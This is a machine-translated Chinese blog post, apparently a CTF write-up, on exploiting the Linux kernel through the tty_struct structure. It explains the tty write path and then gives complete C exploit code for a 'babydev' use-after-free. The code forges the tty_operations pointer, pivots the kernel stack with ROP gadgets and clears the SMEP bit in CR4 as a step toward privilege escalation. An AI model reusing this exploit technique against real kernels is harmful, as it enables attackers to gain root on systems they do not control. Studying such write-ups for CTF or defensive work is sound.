当前位置:网站首页>kernel tty_ struct
kernel tty_ struct
2022-07-02 20:54:00 【-Order rule】
kernel tty_struct exp
List of articles
tty_struct
Linux Next special driver file , Is the default integration in linux Medium , Code in driver/tty Folder . The main documents are in pty.c,
ptmx
You can see the corresponding file_operations structure , Defined as ptmx_fops,
Then you can see the corresponding __init function , The initialization code loaded by the driver is unix98_pty_init function ,

At the end of this function , Set the file "/dev/ptmx",

We can also see our ptmx_fops.open Set to ptmx_open function ,
Definition
Our protagonist : struct tty_struct The struct is defined in include/linux/tty.h,
In fact, the only thing that needs attention is the fourth ops: const struct tty_operations *ops;,
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
int alt_speed; /* For magic substitution of 38400 bps */
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
};
This tty_operations It's defined in include/linux/tty_driver.h, You can see a large number of hook position .
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};
tty->ops
This function defines tty structure , Then, the basic follow-up is to set up this structure , But the follow-up is not right tty->ops Set up , It should be in function tty_init_dev Inside ,

This function is defined in drivers/tty/tty_io.c, Still call alloc_tty_struct After the function, simply set it to return ,

Continue to follow up , Finally, the setting is found in this function ops The location of , But this is through driver For assignment ,

Go back up , stay ptmx_open Find the passed in parameter ,

This is a global variable , The initialization function is defined .

Follow up found tty_allo_driver There is no setting in driver->ops The location of ,
In the file driver/tty/tty_io.c Set here in ops,
void tty_set_operations(struct tty_driver *driver,
const struct tty_operations *op)
{
driver->ops = op;
};
EXPORT_SYMBOL(tty_set_operations);
stay init unix98_pty_init Set later in the function , This quantity is a static variable .



utilize
Through the above running flow , We can't forge it directly tty_operations Structure , But it can be forged tty_struct Structure , And then tty->ops Point to the location we forged .
write Execution flow
wirte The function will be transferred to the function set by the driver , Here from tty_write receive ,

static ssize_t tty_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
struct tty_struct *tty = file_tty(file);
struct tty_ldisc *ld;
ssize_t ret;
if (tty_paranoia_check(tty, file_inode(file), "tty_write"))
return -EIO;
if (!tty || !tty->ops->write ||
(test_bit(TTY_IO_ERROR, &tty->flags)))
return -EIO;
/* Short term debug to catch buggy drivers */
if (tty->ops->write_room == NULL)
printk(KERN_ERR "tty driver %s lacks a write_room method.\n",
tty->driver->name);
ld = tty_ldisc_ref_wait(tty);
if (!ld->ops->write)
ret = -EIO;
else
ret = do_tty_write(ld->ops->write, tty, file, buf, count);
tty_ldisc_deref(ld);
return ret;
}
Basically, it will directly enter do_tty_write This function , Among them the ld->ops->write as follows :

do_tty_write This function is defined as follows , But it is inline Definition , When debugging, it is compiled into tty_write Within the function ,

We are directly in the ld->ops->write Just drop the breakpoint .
/* * Split writes up in sane blocksizes to avoid * denial-of-service type attacks */
static inline ssize_t do_tty_write(
ssize_t (*write)(struct tty_struct *, struct file *, const unsigned char *, size_t),
struct tty_struct *tty,
struct file *file,
const char __user *buf,
size_t count)
{
ssize_t ret, written = 0;
unsigned int chunk;
ret = tty_write_lock(tty, file->f_flags & O_NDELAY);
if (ret < 0)
return ret;
/* * We chunk up writes into a temporary buffer. This * simplifies low-level drivers immensely, since they * don't have locking issues and user mode accesses. * * But if TTY_NO_WRITE_SPLIT is set, we should use a * big chunk-size.. * * The default chunk-size is 2kB, because the NTTY * layer has problems with bigger chunks. It will * claim to be able to handle more characters than * it actually does. * * FIXME: This can probably go away now except that 64K chunks * are too likely to fail unless switched to vmalloc... */
chunk = 2048;
if (test_bit(TTY_NO_WRITE_SPLIT, &tty->flags))
chunk = 65536;
if (count < chunk)
chunk = count;
/* write_buf/write_cnt is protected by the atomic_write_lock mutex */
if (tty->write_cnt < chunk) {
unsigned char *buf_chunk;
if (chunk < 1024)
chunk = 1024;
buf_chunk = kmalloc(chunk, GFP_KERNEL);
if (!buf_chunk) {
ret = -ENOMEM;
goto out;
}
kfree(tty->write_buf);
tty->write_cnt = chunk;
tty->write_buf = buf_chunk;
}
/* Do the write .. */
for (;;) {
size_t size = count;
if (size > chunk)
size = chunk;
ret = -EFAULT;
if (copy_from_user(tty->write_buf, buf, size))
break;
ret = write(tty, file, tty->write_buf, size);
if (ret <= 0)
break;
written += ret;
buf += ret;
count -= ret;
if (!count)
break;
ret = -ERESTARTSYS;
if (signal_pending(current))
break;
cond_resched();
}
if (written) {
tty_update_time(&file_inode(file)->i_mtime);
ret = written;
}
out:
tty_write_unlock(tty);
return ret;
}
This n_tty_write It's defined in driver/tty/n_tty.c,
static ssize_t n_tty_write(struct tty_struct *tty, struct file *file,
const unsigned char *buf, size_t nr)
{
const unsigned char *b = buf;
DEFINE_WAIT_FUNC(wait, woken_wake_function);
int c;
ssize_t retval = 0;
/* Job control check -- must be done at start (POSIX.1 7.1.1.4). */
if (L_TOSTOP(tty) && file->f_op->write != redirected_tty_write) {
retval = tty_check_change(tty);
if (retval)
return retval;
}
down_read(&tty->termios_rwsem);
/* Write out any echoed characters that are still pending */
process_echoes(tty);
add_wait_queue(&tty->write_wait, &wait);
while (1) {
if (signal_pending(current)) {
retval = -ERESTARTSYS;
break;
}
if (tty_hung_up_p(file) || (tty->link && !tty->link->count)) {
retval = -EIO;
break;
}
if (O_OPOST(tty)) {
while (nr > 0) {
ssize_t num = process_output_block(tty, b, nr);
if (num < 0) {
if (num == -EAGAIN)
break;
retval = num;
goto break_out;
}
b += num;
nr -= num;
if (nr == 0)
break;
c = *b;
if (process_output(c, tty) < 0)
break;
b++; nr--;
}
if (tty->ops->flush_chars)
tty->ops->flush_chars(tty);
} else {
struct n_tty_data *ldata = tty->disc_data;
while (nr > 0) {
mutex_lock(&ldata->output_lock);
c = tty->ops->write(tty, b, nr);
mutex_unlock(&ldata->output_lock);
if (c < 0) {
retval = c;
goto break_out;
}
if (!c)
break;
b += c;
nr -= c;
}
}
if (!nr)
break;
if (file->f_flags & O_NONBLOCK) {
retval = -EAGAIN;
break;
}
up_read(&tty->termios_rwsem);
wait_woken(&wait, TASK_INTERRUPTIBLE, MAX_SCHEDULE_TIMEOUT);
down_read(&tty->termios_rwsem);
}
break_out:
remove_wait_queue(&tty->write_wait, &wait);
if (b - buf != nr && tty->fasync)
set_bit(TTY_DO_WRITE_WAKEUP, &tty->flags);
up_read(&tty->termios_rwsem);
return (b - buf) ? b - buf : retval;
}
You can see here about tty->ops There are only two places to use :

The other is tty->ops->write(tty, b, nr);,
Two cannot be triggered at the same time , The judgment condition is , if (O_OPOST(tty)) { , Can be in include/linux/tty.h Find the relevant definition of this macro . The corresponding data is offset 0x130 The location of .


Strangely, I use the following exp During debugging, it is found that this value will not be changed , Keep entering tty->ops->flush_chars.
#include <stdio.h>
#include <fcntl.h>
int main(){
int fd1 = open("/dev/ptmx", O_RDWR);
if(fd1 < 0){
printf("open error\n");
exit(-1);
}
write(fd1, "1234", 4);
return 0;
}
But another call can be seen in the actual topic debugging tty->ops->write

Then here is the position offset we want to use ( This is to this position You have to add another pointer to cover ), And the corresponding memory


utilize
It's still the one before uaf The subject of , This time try to use this tty_struct,
Fake_ops
Same as the previous solution ,open open ioctl close , then open(“ptmx”) You can get tty_struct The address of , We first read Read data , Then only modify tty->ops Location , Change it to the address in our program ,
Then make a fake ops Structure , Each of these functions is written as 0xffffffff81110c15: ret Address , The eighth is write, Change it to any address for testing .
typedef unsigned long long uint64;
void * fake_ops[0x34];
int main(){
int fd1 = open("/dev/babydev", O_RDWR);
if (fd1<0){
printf("open /dev/babydev error\n");
exit(-1);
}
int fd2 = open("/dev/babydev", O_RDWR);
if (fd2<0){
printf("open /dev/babydev error\n");
exit(-1);
}
ioctl(fd1, 0x10001, 0x2e0);
printf("set chunk size = 0x2e0 = sizeof(struct tty_struct)\n");
close(fd1);
//printf("close fd1, free chunk\n");
int tty = open("/dev/ptmx", O_RDWR);
if(tty<0){
printf("open /dev/ptmx error\n");
exit(-1);
}
for (int i=0; i<0x34; i++){
fake_ops[i] = 0xffffffff81110c15;
}
fake_ops[7] = 0x12345678;
uint64 fake_tty[4];
read(fd2, fake_tty, 0x20);
fake_tty[3] = (uint64)fake_ops;
write(fd2, fake_tty, 0x20);
char buf[0x8] = {
0};
write(tty, buf, 0x8);
return 0;
}
success


fake_stack
Let's continue to look at the location of the program crash

First of all, we can control rip Run here , In the register , We can only control rax, The next structure ,
- This rip If you call a function , It is definitely impossible to raise the right in a function call .
- This rip Conduct rop Words , Can cooperate with rax modify rsp,
Search for , It does exist gadget,

that rsp Came to our rax, namely fake_ops in , Here is a stack migration ,
Here we choose the shortest rop Put it in fake_ops,

// fake_ops
for (int i=0; i<0x34; i++){
fake_ops[i] = 0xffffffff81110c15; // ret;
}
fake_ops[0] = 0xffffffff8100202b;// pop rbp; ret;
fake_ops[1] = rop;
fake_ops[2] = 0xffffffff81002e44; // leave; ret;
// ops->write
fake_ops[7] = 0xffffffff8181bfc5; // mov rax, rsp; dec ebx; ret;
Debugging can be seen , success , Notice that the data in the stack changes twice .


So we can write rop 了 .
kernel rop
If this part is in full kernel mode rop Raise the right , Then return to the user status, which is actually the same as the previous kernel rop Consistent articles .
But there are still smep Protect , This protection does not allow kernel mode to execute user mode code . Can use completely in kernel mode rop To bypass . But the opening of this protection is indicated in cr4 The first of the registers 20 position , We can modify it directly cr4 Register turns off this protection . Then it's the same as before kernel rop Both means ok 了 .
Let's first look at opening and closing smep Two kinds of cr4


In fact, it is changed to 0x6f0 that will do .

Modification successful , Follow up use is the same as kernel rop The same .

// rop
int i = 0;
rop[i++] = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
exp
#include <stdio.h>
#include <fcntl.h>
typedef unsigned long long uint64;
void * fake_ops[0x34];
void * rop[0x100];
int main(){
int fd1 = open("/dev/babydev", O_RDWR);
if (fd1<0){
printf("open /dev/babydev error\n");
exit(-1);
}
int fd2 = open("/dev/babydev", O_RDWR);
if (fd2<0){
printf("open /dev/babydev error\n");
exit(-1);
}
ioctl(fd1, 0x10001, 0x2e0);
printf("set chunk size = 0x2e0 = sizeof(struct tty_struct)\n");
close(fd1);
//printf("close fd1, free chunk\n");
int tty = open("/dev/ptmx", O_RDWR);
if(tty<0){
printf("open /dev/ptmx error\n");
exit(-1);
}
// rop
int i = 0;
rop[i++] = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
// rop => Raise the right and kernel rop equally , No more
// fake_ops
for (int i=0; i<0x34; i++){
fake_ops[i] = 0xffffffff81110c15; // ret;
}
fake_ops[0] = 0xffffffff8100202b;// pop rbp; ret;
fake_ops[1] = rop;
fake_ops[2] = 0xffffffff81002e44; // leave; ret;
// ops->write
fake_ops[7] = 0xffffffff8181bfc5; // mov rax, rsp; dec ebx; ret;
uint64 fake_tty[4];
read(fd2, fake_tty, 0x20);
// tty->ops
fake_tty[3] = (uint64)fake_ops;
write(fd2, fake_tty, 0x20);
char buf[0x8] = {0};
write(tty, buf, 0x8);
return 0;
}
边栏推荐
- Longest public prefix of leetcode
- JDBC | Chapter 4: transaction commit and rollback
- 【Hot100】21. 合并两个有序链表
- [QT] QPushButton creation
- Research Report on the overall scale, major manufacturers, major regions, products and applications of building automation power meters in the global market in 2022
- 【JS】获取hash模式下URL的搜索参数
- 【Hot100】23. 合并K个升序链表
- Codeforces Round #771 (Div. 2)(A-C)
- How can testers do without missing tests? Seven o'clock is enough
- 台湾SSS鑫创SSS1700替代Cmedia CM6533 24bit 96KHZ USB音频编解码芯片
猜你喜欢

数据库模式笔记 --- 如何在开发中选择合适的数据库+关系型数据库是谁发明的?

【Hot100】21. Merge two ordered linked lists

接口测试到底怎么做?看完这篇文章就能清晰明了
![[real case] trap of program design - beware of large data](/img/bd/d72cc5ce23756cea873c9ced6b642a.jpg)
[real case] trap of program design - beware of large data

Driverless learning (4): Bayesian filtering

Activation function - relu vs sigmoid

Wu Enda's machine learning mind mapping insists on clocking in for 23 days - building a knowledge context, reviewing, summarizing and replying

Data preparation for behavior scorecard modeling

5 environment construction spark on yarn
![[fluent] dart technique (independent main function entry | nullable type determination | default value setting)](/img/cc/3e4ff5cb2237c0f2007c61db1c346d.jpg)
[fluent] dart technique (independent main function entry | nullable type determination | default value setting)
随机推荐
【Kubernetes系列】kubeadm reset初始化前后空间、内存使用情况对比
Jetson XAVIER NX上ResUnet-TensorRT8.2速度与显存记录表(后续不断补充)
什么叫在线开户?现在网上开户安全么?
疫情封控65天,我的居家办公心得分享 | 社区征文
数据库模式笔记 --- 如何在开发中选择合适的数据库+关系型数据库是谁发明的?
Automated video production
CRM Customer Relationship Management System
Second hand housing data analysis and prediction system
pytorch 模型保存的完整例子+pytorch 模型保存只保存可训练参数吗?是(+解决方案)
台湾SSS鑫创SSS1700替代Cmedia CM6533 24bit 96KHZ USB音频编解码芯片
Don't you want to have a face-to-face communication with cloud native and open source experts? (including benefits
Research Report on the overall scale, major manufacturers, major regions, products and applications of hollow porcelain insulators in the global market in 2022
Postman接口测试实战,这5个问题你一定要知道
Volvo's first MPV is exposed! Comfortable and safe, equipped with 2.0T plug-in mixing system, it is worth first-class
I did a craniotomy experiment: talk about macromolecule coding theory and Lao Wang's fallacy from corpus callosum and frontal leukotomy
Number of DP schemes
Exemple complet d'enregistrement du modèle pytoch + enregistrement du modèle pytoch seuls les paramètres d'entraînement sont - ils enregistrés? Oui (+ Solution)
[QT] QPushButton creation
B-end e-commerce - reverse order process
How my mother-in-law and daughter-in-law get along